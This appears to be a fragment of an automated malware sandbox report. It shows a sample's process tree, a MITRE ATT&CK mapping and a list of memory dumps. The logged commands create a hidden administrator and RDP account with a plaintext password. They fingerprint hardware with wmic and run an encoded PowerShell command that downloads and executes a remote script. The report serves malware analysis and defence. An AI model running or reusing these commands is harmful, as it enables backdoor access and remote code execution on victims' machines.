- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:900

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1340
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:3144

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:3992
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:4056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3180

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc CMmJStNp
1⤵
PID:3776
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc CMmJStNp
  2⤵
  PID:184
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc CMmJStNp
    3⤵
    PID:4048

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:3700
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:2772

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3732
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:1304

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1344
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:4056

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1728-154-0x000001ECFCDD0000-0x000001ECFCDD1000-memory.dmp

Filesize
4KB

Download
memory/1728-182-0x000001ECFD600000-0x000001ECFD601000-memory.dmp

Filesize
4KB

Download
memory/1728-175-0x000001ECFCF20000-0x000001ECFCF21000-memory.dmp

Filesize
4KB

Download
memory/1728-183-0x000001ECFD990000-0x000001ECFD991000-memory.dmp

Filesize
4KB

Download
memory/1728-151-0x000001ECE2590000-0x000001ECE2592000-memory.dmp

Filesize
8KB

Download
memory/1728-152-0x000001ECE2593000-0x000001ECE2595000-memory.dmp

Filesize
8KB

Download
memory/1728-197-0x000001ECE2598000-0x000001ECE2599000-memory.dmp

Filesize
4KB

Download
memory/1728-159-0x000001ECFCF80000-0x000001ECFCF81000-memory.dmp

Filesize
4KB

Download
memory/1728-170-0x000001ECE2596000-0x000001ECE2598000-memory.dmp

Filesize
8KB

Download
memory/2284-212-0x0000026271DC6000-0x0000026271DC8000-memory.dmp

Filesize
8KB

Download
memory/2284-210-0x0000026271DC3000-0x0000026271DC5000-memory.dmp

Filesize
8KB

Download
memory/2284-209-0x0000026271DC0000-0x0000026271DC2000-memory.dmp

Filesize
8KB

Download
memory/2284-213-0x0000026271DC8000-0x0000026271DCA000-memory.dmp

Filesize
8KB

Download
memory/2324-133-0x0000000005800000-0x0000000005801000-memory.dmp

Filesize
4KB

Download
memory/2324-123-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/2324-128-0x0000000005BE0000-0x0000000005BE1000-memory.dmp

Filesize
4KB

Download
memory/2324-129-0x00000000054F0000-0x00000000054F1000-memory.dmp

Filesize
4KB

Download
memory/2324-134-0x0000000006950000-0x0000000006951000-memory.dmp

Filesize
4KB

Download
memory/2324-130-0x0000000005550000-0x0000000005551000-memory.dmp

Filesize
4KB

Download
memory/2324-132-0x00000000055C0000-0x00000000055C1000-memory.dmp

Filesize
4KB

Download
memory/2324-131-0x00000000055D0000-0x00000000055D1000-memory.dmp

Filesize
4KB

Download
memory/2884-217-0x00000168F9A68000-0x00000168F9A6A000-memory.dmp

Filesize
8KB

Download
memory/2884-216-0x00000168F9A66000-0x00000168F9A68000-memory.dmp

Filesize
8KB

Download
memory/2884-214-0x00000168F9A60000-0x00000168F9A62000-memory.dmp

Filesize
8KB

Download
memory/2884-215-0x00000168F9A63000-0x00000168F9A65000-memory.dmp

Filesize
8KB

Download
memory/3260-145-0x0000020C79726000-0x0000020C79727000-memory.dmp

Filesize
4KB

Download
memory/3260-140-0x0000020C79B70000-0x0000020C79F91000-memory.dmp

Filesize
4.1MB

Download
memory/3260-143-0x0000020C79723000-0x0000020C79725000-memory.dmp

Filesize
8KB

Download
memory/3260-142-0x0000020C79720000-0x0000020C79722000-memory.dmp

Filesize
8KB

Download
memory/3260-144-0x0000020C79725000-0x0000020C79726000-memory.dmp

Filesize
4KB

Download
memory/3992-120-0x00000000051A0000-0x00000000051A1000-memory.dmp

Filesize
4KB

Download
memory/3992-117-0x0000000004E10000-0x0000000004E11000-memory.dmp

Filesize
4KB

Download
memory/3992-116-0x0000000005270000-0x0000000005271000-memory.dmp

Filesize
4KB

Download
memory/3992-122-0x0000000005180000-0x000000000518A000-memory.dmp

Filesize
40KB

Download
memory/3992-121-0x0000000005140000-0x0000000005141000-memory.dmp

Filesize
4KB

Download
memory/3992-114-0x0000000000540000-0x0000000000541000-memory.dmp

Filesize
4KB

Download
memory/3992-119-0x0000000004D70000-0x000000000526E000-memory.dmp

Filesize
5.0MB

Download
memory/3992-118-0x0000000004DA0000-0x0000000004DA1000-memory.dmp

Filesize
4KB

Download
memory/4016-198-0x0000014C45520000-0x0000014C45522000-memory.dmp

Filesize
8KB

Download
memory/4016-199-0x0000014C45523000-0x0000014C45525000-memory.dmp

Filesize
8KB

Download
memory/4016-206-0x0000014C45526000-0x0000014C45528000-memory.dmp

Filesize
8KB

Download
memory/4016-208-0x0000014C45528000-0x0000014C4552A000-memory.dmp

Filesize
8KB

Download
memory/4056-249-0x000001A729670000-0x000001A729672000-memory.dmp

Filesize
8KB

Download
memory/4056-250-0x000001A729673000-0x000001A729675000-memory.dmp

Filesize
8KB

Download
memory/4056-251-0x000001A729676000-0x000001A729678000-memory.dmp

Filesize
8KB

Download